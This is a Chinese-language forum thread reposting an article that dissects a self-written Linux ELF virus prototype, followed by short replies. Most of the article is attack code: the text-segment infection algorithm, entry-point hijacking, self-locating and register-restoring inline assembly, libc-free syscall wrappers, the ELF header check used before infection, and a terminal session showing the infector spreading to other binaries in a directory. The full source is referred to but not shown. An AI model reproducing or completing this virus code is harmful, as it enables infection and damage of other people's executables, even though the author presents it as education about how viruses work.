CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
【经验总结】不能实施并行处理的情况 浅谈并行编程中的任务分解模式
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  Linux/Unix社区 >  程序开发区

一个Linux病毒的原型分析

楼主ccoderlh()2006-09-28 11:23:54 在 Linux/Unix社区 / 程序开发区 提问

技术天地:   这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结,   同时向对这方面有兴趣的朋友做一个简单的介绍。   阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入了汇编的C代码、了解病毒的基本工作原理。    
   
    作者既不是一个virus   coder,也不是anti-viruscoder,这篇文章旨通过对一个Linux的病毒原型的工作原理和关键环节的分析和介绍来让揭开病毒的神秘面纱,使您了解病毒的工作机理,也同时对理解Linux的系统编程有所帮助。    
   
  剖析Linux病毒原型的工作过程和关键环节   (1)  
  一、   介绍    
   
    写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结,同时向对这方面有兴趣的朋友做一个简单的介绍。阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入了汇编的C代码、了解病毒的基本工作原理。    
   
    二、   ELF   Infector   (ELF文件感染器)    
   
    为了制作病毒文件,我们需要一个ELF文件感染器,用于制造第一个带毒文件。对于ELF文件感染技术,在Silvio   Cesare的《UNIX   ELF   PARASITES   AND   VIRUS》    
  一文中已经有了一个非常好的分析、描述,在这方面我还没有发现可以对其进行补充的    
  地方,因此在这里我把Silvio   Cesare对ELF   Infection过程的总结贴出来,以供参考:    
   
  The   final   algorithm   is   using   this   information   is.    
  *   Increase   p_shoff   by   PAGE_SIZE   in   the   ELF   header    
  *   Patch   the   insertion   code   (parasite)   to   jump   to   the   entry   point    
  (original)    
  *   Locate   the   text   segment   program   header    
  *   Modify   the   entry   point   of   the   ELF   header   to   point   to   the   new    
  code   (p_vaddr   +   p_filesz)    
  *   Increase   p_filesz   by   account   for   the   new   code   (parasite)    
  *   Increase   p_memsz   to   account   for   the   new   code   (parasite)    
  *   For   each   phdr   who's   segment   is   after   the   insertion   (text   segment)    
  *   increase   p_offset   by   PAGE_SIZE    
  *   For   the   last   shdr   in   the   text   segment    
  *   increase   sh_len   by   the   parasite   length    
  *   For   each   shdr   who's   section   resides   after   the   insertion    
  *   Increase   sh_offset   by   PAGE_SIZE    
  *   Physically   insert   the   new   code   (parasite)   and   pad   to   PAGE_SIZE,   into    
  the   file   -   text   segment   p_offset   +   p_filesz   (original)    
   
  在Linux病毒原型中所使用的gei   -   ELF   Infector即是根据这个原理写的。在    
  附录中你可以看到这个感染工具的源代码:   g-elf-infector.c    
   
  g-elf-infector与病毒是独立开的,其只在制作第一个病毒文件时被使用。我简单介    
  绍一下它的使用方法,g-elf-infector.c可以被用于任何希望--将二进制代码插入到    
  指定文件的文本段,并在目标文件执行时首先被执行--的用途上。g-elf-infector.c    
  的接口很简单,你只需要提供以下三个定义:    
   
  *   存放你的二进制代码返回地址的地址,这里需要的是这个地址与代码起始    
  地址的偏移,用于返回到目标程序的正常入口    
  #define   PARACODE_RETADDR_ADDR_OFFSET   1232    
   
  *   要插入的二进制代码(由于用C编写,所以这里需要以一个函数的方式提供)    
  void   parasite_code(void);    
   
  *   二进制代码的结束(为了易用,这里用一个结尾函数来进行代码长度计算)    
  void   parasite_code_end(void);    
   
  parasite_code_end应该是parasite_code函数后的第一个函数定义,通常应该如下表示    
  void   parasite_code(void)    
  {    
  ...    
  ...    
  ...    
  }    
  void   parasite_code_end(void)   {}    
   
  在这里存在一个问题,就是编译有可能在编译时将parasite_code_end放在parasite_code    
  地址的前面,这样会导致计算代码长度时失败,为了避免这个问题,你可以这样做    
  void   parasite_code(void)    
  {    
  ...    
  ...    
  ...    
  }    
  void   parasite_code_end(void)   {parasite_code();}    
   
  有了这三个定义,g-elf-infector就能正确编译,编译后即可用来ELF文件感染  
   
  剖析Linux病毒原型的工作过程和关键环节   (2)    
   
  三、   病毒原型的工作过程  
   
  1   首先通过ELF   Infector将病毒代码感染到一个ELF文件,这样就创造了第一    
  个带毒文件,后续的传播就由它来完成。    
   
  2   当带毒文件被执行时,会首先跳到病毒代码开始执行。    
   
  3   病毒代码开始发作,在这个原型里,病毒会直接开始传播。    
   
  4   病毒遍历当前目录下的每一个文件,如果是符合条件的ELF文件就开始感染。    
   
  5   病毒的感染过程和ELF   Infector的过程类似,但由于工作环境的不同,代码的实现也是有较大区别的。    
   
  6   目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码,如果无法满足,病毒会忽略此ELF。对于被感染过一次的ELF文件,文本段将不会有剩余的空间,因此二次感染是不会发生的。    
   
  7   病毒代码执行过后,会恢复堆栈和所有寄存器(这很重要),然后跳回到真正的可执行文件入口,开始正常的运行过程。    
   
  上面对病毒原型的工作过程的介绍也许显得千篇一律了,和我们早就熟知的关于病毒的一些介绍没有什么区别?是的,的确是这样,原理都是类似的,关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。    
   
  问题点数:20、回复次数:63Top

1 楼ccoderlh()回复于 2006-09-28 11:25:26 得分 0

剖析Linux病毒原型的工作过程和关键环节   (3)    
   
  四、   关键技术问题及处理  
   
  1   ELF文件执行流程重定向和代码插入    
   
  在ELF文件感染的问题上,ELF   Infector与病毒传播时调用的infect_virus思路是一样的:    
   
  *   定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉    
  ELF文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变    
  所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部    
  分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要    
  注意文本段增加长度的对齐问题,见ELF文档中的描述:    
  p_align    
  As   ``Program   Loading''   later   in   this   part   describes,   loadable    
  process   segments   must   have   congruent   values   for   p_vaddr   and    
  p_offset,   modulo   the   page   size.    
   
  *   通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向:    
  /*   Modify   the   entry   point   of   the   ELF   */    
  org_entry   =   ehdr->e_entry;    
  ehdr->e_entry   =   phdr[txt_index].p_vaddr   +   phdr[txt_index].p_filesz;    
   
  2   病毒代码如何返回到真正的ELF文件入口    
   
  方法技巧应该很多,这里采用的方法是PUSH+RET组合:    
  __asm__   volatile   (    
  ...    
  "return:\n\t"    
  "push   $0xAABBCCDD\n\t"   /*   push   ret_addr   */    
  "ret\n"    
  ::);    
  其中0xAABBCCDD处存放的是真正的程序入口地址,这个值在插入病毒代码时由感染程    
  序来填写。    
   
  剖析Linux病毒原型的工作过程和关键环节   (4)  
   
  3   堆栈和寄存器的恢复    
   
  病毒代码必须保证运行前、后的堆栈和寄存器内容完全相同,这通过增加额外的代码    
  来完成。    
  在进入时:    
  __asm__   volatile   (    
  "push   %%eax\n\t"    
  "push   %%ecx\n\t"    
  "push   %%edx\n\t"    
  ::);    
  退出时:    
  __asm__   volatile   (    
  "popl   %%edx\n\t"    
  "popl   %%ecx\n\t"    
  "popl   %%eax\n\t"    
  "addl   $0x102c,   %%esp\n\t"    
  "popl   %%ebx\n\t"    
  "popl   %%esi\n\t"    
  "popl   %%edi\n\t"    
  "popl   %%ebp\n\t"    
  "jmp   return\n"    
   
  要注意上面的代码是根据特定的编译器、编译选项来调整的,在不同的环境下如果重    
  新编译病毒程序,可能还需要做一些调整。    
   
  4   字符串的使用    
   
  write(1,   "hello   world\n",   12);    
  在病毒代码中这样对一个字符串直接引用是不可以的。这是对字符串的使用是一个绝    
  对地址引用,病毒代码在进入到一个新的宿主内后,这一绝对地址的内容是无法得到    
  保证的,因此在病毒代码内应该使用相对地址或间接地址进行字符串访问。    
  下面是Silvio   Cesare的《UNIX   ELF   PARASITES   AND   VIRUS》中的一个解决办法,利用    
  了缓冲区溢出中shellcode的编写技术:    
  In   x86   Linux,   some   syscalls   require   the   use   of   an   absolute   address   pointing   to   initialized   data.   This   can   be   made   relocatable   by   using   a   common   trick   used    
  in   buffer   overflow   code.    
   
  jmp   A    
  B:    
  pop   %eax   ;   %eax   now   has   the   address   of   the   string    
  .   ;   continue   as   usual    
  .    
  .    
   
  A:    
  call   B    
  .string   \"hello\"    
  By   making   a   call   directly   proceeding   the   string   of   interest,   the   address   of    
  the   string   is   pushed   onto   the   stack   as   the   return   address.    
   
  但是在编写这个linux病毒原型代码时,我并没有使用这个方法,我尽力使代码使用    
  C语言的语法:    
  char   tmpfile[32]   =   {'/','t','m','p','/','.','g','v','i','r','u','s','\0'};    
   
  #ifndef   NDEBUG    
  char   err_type[32]   =   {'f','i','l','e','   ','t','y','p','e','   ','n','o','t','   ',    
  's','u','p','p','o','r','t','e','d','\n','\0'};    
  char   luck[32]   =   {'B','e','t','t','e','r','   ','l','u','c','k','   ',    
  'n','e','x','t','   ','f','i','l','e','\n','\0'};    
  #endif    
   
  在这里将字符串以字符数组的形式出现,编译之后的代码是这样:    
  ...    
  movb   $47,   -8312(%ebp)    
  movb   $116,   -8311(%ebp)    
  movb   $109,   -8310(%ebp)    
  movb   $112,   -8309(%ebp)    
  movb   $47,   -8308(%ebp)    
  movb   $46,   -8307(%ebp)    
  movb   $103,   -8306(%ebp)    
  movb   $118,   -8305(%ebp)    
  movb   $105,   -8304(%ebp)    
  movb   $114,   -8303(%ebp)    
  movb   $117,   -8302(%ebp)    
  movb   $115,   -8301(%ebp)    
  ...    
  这样带来一个负面影响就是增加了代码长度,但是适当的使用对代码长度影响并不大。   值得注意的一点是,当字符数组定义的尺寸超过了64时,在我的编译环境下,编译器    
  对代码进行了优化,会导致编译后代码成为:    
  ...    
  .section.   rodata    
  .LC0:    
  .byte   47    
  .byte   116    
  .byte   109    
  .byte   112    
  .byte   47    
  .byte   46    
  .byte   103    
  .byte   118    
  .byte   105    
  .byte   114    
  .byte   117    
  .byte   115    
  .byte   0    
   
   
  数据被放到了.rodata   section中,这样就使得其无法随病毒代码一起进入宿主,会    
  造成访问失败,所以注意数组的申请尽量保持32以内,防止编译器优化。    
   
  除此之外,使用整型数组的方法也与此类似,不再赘述。    
   
  剖析Linux病毒原型的工作过程和关键环节   (5)  
  5   遭遇gcc-3.3的bug    
   
  gvirus.c中有一部分的数据初始化是这样的:    
  ...    
  char   curdir[2]   =   {'.',   0};    
  char   newline   =   '\n';    
   
  curdir[0]   =   '.';    
  curdir[1]   =   0;    
  newline   =   '\n';    
   
  if   ((curfd   =   g_open(curdir,   O_RDONLY,   0))   <   0)    
  goto   out;    
  ...    
   
  也许你会奇怪,为什么curdir和newline在已经初始化后还要重新赋值,这其中的原因    
  是为了绕过一个gcc的bug。    
  在我的编译环境下,当只做    
  char   curdir[2]   =   {'.',   0};    
  char   newline   =   '\n';    
  这样的初始化时,反汇编代码如下:    
  ...    
  0x08048cb0   :   push   %ebp    
  0x08048cb1   :   push   %edi    
  0x08048cb2   :   push   %esi    
  0x08048cb3   :   push   %ebx    
  0x08048cb4   :   sub   $0x20bc,%esp    
  0x08048cba   :   push   %eax    
  0x08048cbb   :   push   %ecx    
  0x08048cbc   :   push   %edx    
  0x08048cbd   :   xor   %ecx,%ecx    
  0x08048cbf   :   lea   0x4e(%esp),%ebx   <.使用curdir    
  0x08048cc3   :   mov   $0x5,%eax    
  0x08048cc8   :   mov   %ecx,%edx    
  0x08048cca   :   int   $0x80   <.g_open系统调用    
  0x08048ccc   :   mov   %eax,0x38(%esp)    
  0x08048cd0   :   cmp   $0xffffff82,%eax    
  0x08048cd3   :   jbe   0x8048cdd    
  0x08048cd5   :   movl   $0xffffffff,0x38(%esp)    
  0x08048cdd   :   mov   0x38(%esp),%eax    
  0x08048ce1   :   test   %eax,%eax    
  0x08048ce3   :   js   0x804915d    
  0x08048ce9   :   movw   $0x2e,0x4e(%esp)   <.curdir的初始化    
  ...    
  从注释可以看出,在这种情况下,curdir的初始化被放到了g_open使用其做参数之后。    
   
  当加入    
  curdir[0]   =   '.';    
  curdir[1]   =   0;    
  newline   =   '\n';    
  后,反汇编代码如下:    
  ...    
  0x08048cb0   :   push   %ebp    
  0x08048cb1   :   push   %edi    
  0x08048cb2   :   push   %esi    
  0x08048cb3   :   push   %ebx    
  0x08048cb4   :   sub   $0x20bc,%esp    
  0x08048cba   :   push   %eax    
  0x08048cbb   :   push   %ecx    
  0x08048cbc   :   push   %edx    
  0x08048cbd   :   xor   %ecx,%ecx    
  0x08048cbf   :   movw   $0x2e,0x4e(%esp)   <.curdir的初始化    
  0x08048cc6   :   lea   0x4e(%esp),%ebx   <.作为参数使用    
  0x08048cca   :   mov   $0x5,%eax    
  0x08048ccf   :   mov   %ecx,%edx    
  0x08048cd1   :   int   $0x80   <.g_open系统调用    
  ...    
  从注释可以看出,加入了这段代码后,程序编译正确,避免了这个编译器bug。    
  Top

2 楼ccoderlh()回复于 2006-09-28 11:26:36 得分 0

剖析Linux病毒原型的工作过程和关键环节   (6)    
   
  6   通过C语言和inline保证病毒代码的可读性和可移植性    
   
  用汇编写病毒代码的一个缺点就是   -   可读性和可移植性差,这也是使用汇编语言写    
  程序的一个普遍的缺点。    
  在这个linux病毒原型代码了主体使用的都是C语言,只有极少部分由于C语言本身的    
  限制而不得不使用gcc嵌入汇编。对于C语言部分,也尽量是用inline函数,保证代码    
  层次分明,保证可读性。    
   
  7   病毒代码复制时如何获得自己的起始地址?    
   
  虽然,病毒代码部分向ELF   Infector提供了代码的起始地址,保证了生成第一个带毒    
  文件时能够找到代码并插入到目标文件内。但是作为进入宿主内部的代码在进行传播    
  时却无法使用这个地址,因为它的代码位置已经受到了宿主的影响,这时它需要重新    
  定位自己的起始位置。    
   
  在写这个病毒原型时,我并没有参考过其它病毒的代码,因此这里采用的也许并    
  不是一个最好的方法:    
   
  /*   Get   start   address   of   virus   code   */    
  __asm__   volatile   (    
  "jmp   get_start_addr\n"    
  "infect_start:\n\t"    
  "popl   %0\n\t"    
  :"=m"   (para_code_start_addr)    
  :);    
  para_code_start_addr   -=   PARACODE_RETADDR_ADDR_OFFSET   -   1;    
   
  ...   /*   c代码   */    
  ...    
   
  __asm__   volatile   (    
  ...    
  "get_start_addr:\n\t"    
  "call   infect_start\n"    
  "return:\n\t"    
  "push   $0xAABBCCDD\n\t"   /*   push   ret_addr   */    
  "ret\n"    
  ::);    
   
  通过缓冲区溢出中的一个技巧,jmp/call组合来得到push   $0xAABBCCDD指令的地址。    
  这个地址是0xAABBCCDD地址向后一个push指令,而0xAABBCCDD的地址就是那个用于    
  存放病毒代码返回地址的地址,这个地址相对于病毒代码起始地址的偏移我们是知道    
  的,就是病毒代码函数向ELF   Infector接口提供的那个宏定义的值:    
  #ifndef   NDEBUG    
  #define   PARACODE_RETADDR_ADDR_OFFSET   1704    
  #else    
  #define   PARACODE_RETADDR_ADDR_OFFSET   1232    
  #endif    
   
  这样病毒代码在当前宿主中的位置就可以得到了(注意从汇编指令出来后,    
  para_code_start_addr中存放的是0xAABBCCDD的地址,我们减去偏移再减    
  一个push指令的长度,就是病毒代码的起始地址):    
   
  para_code_start_addr   -=   PARACODE_RETADDR_ADDR_OFFSET   -   1;    
   
  剖析Linux病毒原型的工作过程和关键环节   (7)  
   
  8   抛弃C库    
   
  由于病毒代码要能在不同的ELF文件内容工作,所以我们必须要保证所有的相关函数    
  调用在病毒体内即可完成。而对C库的使用将使我们很难做到这一点,即使有的C库函    
  数是可以完全内联的(完全内联就是说,这个函数本身可以内联,同时其内部没有向    
  外的函数调用),但是随着编译环境的不同,这点也是不能得到根本保证的,因此我    
  们有必要选择抛弃C库。    
   
  没有了C库,我们使用到的一些函数调用就必须重新实现。在这个Linux病毒原型中有    
  两种情况,一种是系统调用,另一种是普通的函数。    
   
  对于系统调用,我们采用了重新包装的方法:    
  static   inline    
  g_syscall3(int,   write,   int,   fd,   const   void   *,   buf,   off_t,   count);    
  static   inline    
  g_syscall3(int,   getdents,   uint,   fd,   struct   dirent   *,   dirp,   uint,   count);    
  static   inline    
  g_syscall3(int,   open,   const   char   *,   file,   int,   flag,   int,   mode);    
  static   inline    
  g_syscall1(int,   close,   int,   fd);    
  static   inline    
  g_syscall6(void   *,   mmap2,   void   *,   addr,   size_t,   len,   int,   prot,    
  int,   flags,   int,   fd,   off_t,   offset);    
  static   inline    
  g_syscall2(int,   munmap,   void   *,   addr,   size_t,   len);    
  static   inline    
  g_syscall2(int,   rename,   const   char   *,   oldpath,   const   char   *,   newpath);    
  static   inline    
  g_syscall2(int,   fstat,   int,   filedes,   struct   stat   *,   buf);    
   
  并且修改了syscall包装的宏定义,如    
  #define   g__syscall_return(type,   res)   \    
  do   {   \    
  if   ((unsigned   long)(res)   >=   (unsigned   long)(-125))   {   \    
  res   =   -1;   \    
  }   \    
  return   (type)   (res);   \    
  }   while   (0)    
   
  #define   g_syscall0(type,name)   \    
  type   g_##name(void)   \    
  {   \    
  long   __res;   \    
  __asm__   volatile   ("int   $0x80"   \    
  :   "=a"   (__res)   \    
  :   "0"   (__NR_##name));   \    
  g__syscall_return(type,__res);   \    
  }    
   
  对于普通的函数,直接复制一份函数定义:    
  static   inline   void   *   __memcpy(void   *   to,   const   void   *   from,   size_t   n)    
  {    
  int   d0,   d1,   d2;    
  __asm__   __volatile__(    
  "rep   ;   movsl\n\t"    
  "testb   $2,%b4\n\t"    
  "je   1f\n\t"    
  "movsw\n"    
  "1:\ttestb   $1,%b4\n\t"    
  "je   2f\n\t"    
  "movsb\n"    
  "2:"    
  :   "=&c"   (d0),   "=&D"   (d1),   "=&S"   (d2)    
  :"0"   (n/4),   "q"   (n),"1"   ((long)   to),"2"   ((long)   from)    
  :   "memory");    
  return   (to);    
  }    
   
  Top

3 楼ccoderlh()回复于 2006-09-28 11:27:39 得分 0

剖析Linux病毒原型的工作过程和关键环节   (8)  
   
  9   保证病毒代码的瘦身需要    
   
  为了保证病毒代码体积不至于过于庞大,影响病毒代码的感染,编写代码时也要注意    
  代码体积问题。由于采用C代码的方式,一些函数调用都是内联的方式,因此每多一个    
  调用都会引起代码体积的增加。    
  在进行ELF文件读写更是如此,read/write被频繁的调用。为了减小这方面的影响,对    
  目标ELF文件进行了一个mmap处理,这样地址空间直接被映射到文件,就消除了读目标    
  文件时所要做的read调用,节省了一些空间:    
   
  ehdr   =   g_mmap2(0,   stat.st_size,   PROT_WRITE|PROT_READ,   MAP_SHARED,   fd,   0);    
  if   (ehdr   ==   MAP_FAILED)   {    
  goto   err;    
  }    
   
  /*   Check   ELF   magic-ident   */    
  if   (ehdr->e_ident[EI_MAG0]   !=   0x7f    
  ||   ehdr->e_ident[EI_MAG1]   !=   'E'    
  ||   ehdr->e_ident[EI_MAG2]   !=   'L'    
  ||   ehdr->e_ident[EI_MAG3]   !=   'F'    
  ||   ehdr->e_ident[EI_CLASS]   !=   ELFCLASS32    
  ||   ehdr->e_ident[EI_DATA]   !=   ELFDATA2LSB    
  ||   ehdr->e_ident[EI_VERSION]   !=   EV_CURRENT    
  ||   ehdr->e_type   !=   ET_EXEC    
  ||   ehdr->e_machine   !=   EM_386    
  ||   ehdr->e_version   !=   EV_CURRENT    
  )   {    
  V_DEBUG_WRITE(1,   &err_type,   sizeof(err_type));    
  goto   err;    
  }    
   
  当前的代码都是用C编写,这样很难象汇编代码那样进行更高程度的精简,不过目前的    
  代码体积还在合理的范围,    
  在调试状态和标准状态分别是1744和1248    
  #ifndef   NDEBUG    
  #define   PARACODE_LENGTH   1744    
  #else    
  #define   PARACODE_LENGTH   1248    
  #endif    
   
  10   数据结构的不一致    
   
  与C库的代码调用类似,我们使用的头文件中有一些数据类型的定义是经过    
  包装的,与系统调用中使用的并不相同。代码相关的两个数据结构,单独提取了出来。    
   
  struct   dirent   {    
  long   d_ino;    
  unsigned   long   d_off;    
  unsigned   short   d_reclen;    
  char   d_name[256];   /*   We   must   not   include   limits.h!   */    
  };    
   
  struct   stat   {    
  unsigned   long   st_dev;    
  unsigned   long   st_ino;    
  unsigned   short   st_mode;    
  unsigned   short   st_nlink;    
  unsigned   short   st_uid;    
  unsigned   short   st_gid;    
  unsigned   long   st_rdev;    
  unsigned   long   st_size;    
  unsigned   long   st_blksize;    
  unsigned   long   st_blocks;    
  unsigned   long   st_atime;    
  unsigned   long   st_atime_nsec;    
  unsigned   long   st_mtime;    
  unsigned   long   st_mtime_nsec;    
  unsigned   long   st_ctime;    
  unsigned   long   st_ctime_nsec;    
  unsigned   long   __unused4;    
  unsigned   long   __unused5;    
  };    
   
  剖析Linux病毒原型的工作过程和关键环节   (9)  
   
  五、   新编译环境下的调试方法    
   
  grip2@linux:~/tmp/virus>   ls    
  g-elf-infector.c   gsyscall.h   gunistd.h   gvirus.c   gvirus.h   foo.c   Makefile   parasite-sample.c   parasite-sample.h    
   
  调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项    
  grip2@linux:~/tmp/virus>   cat   Makefile    
  all:   foo   gei    
  gei:   g-elf-infector.c   gvirus.o    
  gcc   -O2   $<   gvirus.o   -o   gei   -Wall   #-DNDEBUG    
  foo:   foo.c    
  gcc   $<   -o   foo    
  gvirus.o:   gvirus.c    
  gcc   $<   -O2   -c   -o   gvirus.o   -fomit-frame-pointer   -Wall   #-DNDEBUG    
  clean:    
  rm   *.o   -rf    
  rm   foo   -rf    
  rm   gei   -rf    
   
  编译代码    
  grip2@linux:~/tmp/virus>   make    
  gcc   foo.c   -o   foo    
  gcc   gvirus.c   -O2   -c   -o   gvirus.o   -fomit-frame-pointer   -Wall   #-DNDEBUG    
  gcc   -O2   g-elf-infector.c   gvirus.o   -o   gei   -Wall   #-DNDEBUG    
   
  先获取病毒代码长度,然后调整gvirus.c中的#define   PARACODE_LENGTH定义    
  grip2@linux:~/tmp/virus>.   /gei   -l   <.这里获取病毒代码的长度    
  Parasite   code   length:   1744    
   
  获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移    
  grip2@linux:~/tmp/virus>   objdump   -d   gei|grep   aabbccdd    
  8049427:   68   dd   cc   bb   aa   push   $0xaabbccdd    
  grip2@linux:~/tmp/virus>   objdump   -d   gei|grep   ""    
  08048d80   :    
  8049450:   e9   2b   f9   ff   ff   jmp   8048d80    
  grip2@linux:~/tmp/virus>   objdump   -d   gei|grep   ":"    
  08048d80   :    
   
  0x8049427与0x8048d80相减即获得我们需要的偏移,    
  用这个值更新gvirus.h中的#define   PARACODE_RETADDR_ADDR_OFFSET宏的值    
   
  重新编译    
  grip2@linux:~/tmp/virus>   make   clean    
  rm   *.o   -rf    
  rm   foo   -rf    
  rm   gei   -rf    
  grip2@linux:~/tmp/virus>   make    
  gcc   foo.c   -o   foo    
  gcc   gvirus.c   -O2   -c   -o   gvirus.o   -fomit-frame-pointer   -Wall   #-DNDEBUG    
  gcc   -O2   g-elf-infector.c   gvirus.o   -o   gei   -Wall   #-DNDEBUG    
   
  grip2@linux:~/tmp/virus>   ls    
  gei   gsyscall.h   gvirus.c   gvirus.o   foo.c   parasite-sample.c    
  g-elf-infector.c   gunistd.h   gvirus.h   foo   Makefile   parasite-sample.h    
   
  建立一个测试目录,测试一下    
  grip2@linux:~/tmp/virus>   mkdir   test    
  grip2@linux:~/tmp/virus>   cp   gei   foo   test    
  grip2@linux:~/tmp/virus>   cd   test    
  grip2@linux:~/tmp/virus/test>   ls    
  gei   foo    
  grip2@linux:~/tmp/virus/test>   cp   foo   h    
   
  制作带毒程序    
  grip2@linux:~/tmp/virus/test>.   /gei   h    
  file   size:   8668    
  e_phoff:   00000034    
  e_shoff:   00001134    
  e_phentsize:   00000020    
  e_phnum:   00000008    
  e_shentsize:   00000028    
  e_shnum:   00000025    
  text   segment   file   offset:   0    
  [15   sections   patched]    
  grip2@linux:~/tmp/virus/test>   ll    
  total   44    
  -rwxr-xr-x   1   grip2   users   14211   2004-12-13   07:50   gei    
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   h    
  -rwxr-xr-x   1   grip2   users   8668   2004-12-13   07:50   foo    
   
  运行带毒程序    
  grip2@linux:~/tmp/virus/test>.   /h    
  .    
  ..    
  gei    
  foo    
  h    
  .backup.h    
  real   elf   point    
  grip2@linux:~/tmp/virus/test>   ll    
  total   52    
  -rwxr-xr-x   1   grip2   users   18307   2004-12-13   07:51   gei    
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   h    
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   foo    
   
  测试上面带毒程序运行后,是否感染了其他ELF程序    
  grip2@linux:~/tmp/virus/test>.   /foo    
  .    
  ..    
  gei    
  Better   luck   next   file    
  foo    
  h    
  Better   luck   next   file    
  .backup.h    
  Better   luck   next   file    
  real   elf   point    
   
  OK,成功    
  grip2@linux:~/tmp/virus/test>   cp.   ./foo   hh    
  grip2@linux:~/tmp/virus/test>   ll    
  total   64    
  -rwxr-xr-x   1   grip2   users   18307   2004-12-13   07:51   gei    
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   h    
  -rwxr-xr-x   1   grip2   users   8668   2004-12-13   07:51   hh    
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   foo    
   
  grip2@linux:~/tmp/virus/test>.   /foo    
  .    
  ..    
  gei    
  Better   luck   next   file    
  foo    
  h    
  Better   luck   next   file    
  .backup.h    
  Better   luck   next   file    
  hh    
  real   elf   point    
  grip2@linux:~/tmp/virus/test>    
   
  六、   总结    
   
  由于我既不是一个virus   coder也不是一个anti-viruscoder,所以对病毒技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到位,还请指正,谢谢。    
   
   
  七、   参考文献    
   
  1   Silvio   Cesare   的《UNIX   ELF   PARASITES   AND   VIRUS》    
   
  2   ELF文档    
   
  3   更多的安全技术交流    
  http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security&    
  Number=479955&page=0&view=collapsed&sb=5&o=31&fpart=    
   
   
  八、   附录   -   病毒原型源代码    
   
  (T113)    
  Top

4 楼whomajia(我是马甲,我怕谁!)回复于 2006-09-28 11:39:49 得分 10

偶只为了接分!!!  
  飘过。。。。。。Top

5 楼ccoderlh()回复于 2006-09-28 11:40:44 得分 0

上述文章内容转自:  
  http://tech.ccidnet.com/pub/html/network/focus//virus/virus.htmlTop

6 楼bitzilla(桃之夭夭)回复于 2006-09-28 11:57:31 得分 0

先留个名,有时间再看。这会太忙了。呵呵Top

7 楼deng1234(秋风)回复于 2006-09-28 12:46:56 得分 0

太长了,Top

8 楼zhimo(志摩)回复于 2006-09-28 13:13:22 得分 0

mmTop

9 楼NC(比尔.盖饭)回复于 2006-09-28 14:28:48 得分 0

MARK  
  Top

10 楼hillt(LONELY AND NOTHING)回复于 2006-09-28 15:03:14 得分 0

mark  
  Top

11 楼jemyzhang(妙狐)回复于 2006-09-28 15:52:50 得分 0

这种病毒是否能在无root权限的时候进行恶意的操作?Top

12 楼Narayana(无我相,无人相,无众生相,无寿者相.)回复于 2006-09-28 16:07:09 得分 0

markTop

13 楼yrj(机枪)回复于 2006-09-28 17:50:17 得分 0

markTop

14 楼yin0731(改邪归正)回复于 2006-09-28 18:28:33 得分 0

markTop

15 楼wjlsmail(小脖领)回复于 2006-09-28 18:29:06 得分 0

StudyTop

16 楼DraculaW(成爲牛人,然後離開)回复于 2006-09-28 19:18:39 得分 0

mark   后看Top

17 楼laiwusheng(风清扬)回复于 2006-09-28 19:35:05 得分 0

markTop

18 楼zhaolei254()回复于 2006-09-28 20:16:15 得分 0

我现在最讨厌的就是病毒了朋友的我左邻右舍的机子整天都是病毒,在我们这基本上找不到没病毒的机子了有基础的还能自己杀毒。普通用户就只能一遍又一遍的重装系统了!而且杀毒软件也越来月不行了。只有瑞星还将就其他就没用。  
  在着年代谁都知道去特征码杀毒难啊!!  
  拜托大家别研究病毒了杀毒实在是累啊!!!!!1Top

19 楼fpgzs2(口吕品)回复于 2006-09-28 22:19:01 得分 0

markTop

20 楼penghaijun(kevin)回复于 2006-09-29 00:40:14 得分 0

太长了,收藏。Top

21 楼ancient(ancient)回复于 2006-09-29 16:43:03 得分 0

看标题不错,收了慢慢看。Top

22 楼john_sheep(彩虹勇士(结贴就那么难么?))回复于 2006-09-29 16:50:04 得分 0

真长.Top

23 楼iohui(小雄)回复于 2006-10-03 14:43:48 得分 0

收藏,接分Top

24 楼ahu9870(阿胡9870)回复于 2006-10-03 23:59:02 得分 0

如何获得可执行文件的“写”权限?通常它们都是不可写的!Top

25 楼holym(小雨)回复于 2006-10-10 16:59:08 得分 0

用空看看Top

26 楼yehuotaizi(海洋)回复于 2006-10-10 19:52:56 得分 0

markTop

27 楼cunjinjie(海洋代码)回复于 2006-10-11 21:21:17 得分 0

制作带毒程序    
  grip2@linux:~/tmp/virus/test>.   /gei   h    
  file   size:   8668    
  e_phoff:   00000034    
  e_shoff:   00001134    
  e_phentsize:   00000020    
  e_phnum:   00000008    
  e_shentsize:   00000028    
  e_shnum:   00000025    
  text   segment   file   offset:   0    
  [15   sections   patched]    
  grip2@linux:~/tmp/virus/test>   ll    
  total   44    
  -rwxr-xr-x   1   grip2   users   14211   2004-12-13   07:50   gei    
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   h    
  -rwxr-xr-x   1   grip2   users   8668   2004-12-13   07:50   foo    
   
  运行带毒程序    
  grip2@linux:~/tmp/virus/test>.   /h    
  .    
  ..    
  gei    
  foo    
  h    
  .backup.h    
  real   elf   point    
  grip2@linux:~/tmp/virus/test>   ll    
  total   52    
  -rwxr-xr-x   1   grip2   users   18307   2004-12-13   07:51   gei    
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   h    
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   foo    
   
